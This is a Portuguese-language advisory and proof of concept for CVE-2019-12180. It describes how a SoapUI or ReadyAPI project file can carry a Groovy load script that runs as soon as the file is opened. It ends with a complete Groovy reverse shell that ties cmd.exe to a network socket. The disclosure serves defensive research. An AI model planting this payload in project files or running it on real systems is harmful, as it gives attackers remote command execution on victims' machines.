
Advisory e prova de conceito para CVE-2019-12180, demonstrando execução arbitrária de código Groovy no SoapUI e ReadyAPI por meio de arquivos de projeto maliciosos.
Advertência & PoC
SoapUI e ReadyAPI permitem que você crie ou adicione conteúdos dinâmicos a casos de teste (por exemplo, para calcular um timestamp em tempo real) usando scripts da linguagem Apache Groovy. A execução desses scripts pode ser acionada de várias maneiras e eles são armazenados dentro do arquivo XML do projeto uma vez que o projeto é salvo.
A função "Load Script" permite criar um script Groovy que é executado assim que o arquivo de projeto é aberto (elemento con:afterLoadScript do arquivo XML do projeto) sem nenhuma interação adicional do usuário. Esse comportamento pode ser abusado por um invasor para criar arquivos de projeto maliciosos que, uma vez abertos, executam código Groovy arbitrário no sistema da vítima. Como é possível executar comandos do sistema usando a linguagem Groovy, esse recurso pode ser abusado para executar comandos remotos de forma eficaz.
NOTA: o mesmo objetivo pode ser alcançado explorando qualquer outra função capaz de script Groovy (por exemplo, 'Save script'), mas isso exigirá interação adicional do usuário após carregar o arquivo de projeto.
Aplicação Vulnerável:
No momento da escrita (2020-02-04), esta é uma vulnerabilidade 0day, pois (múltiplas) datas de divulgação propostas já passaram sem que o fornecedor tenha lançado um patch.
Exemplo de Reverse shell em Groovy (https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76):
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();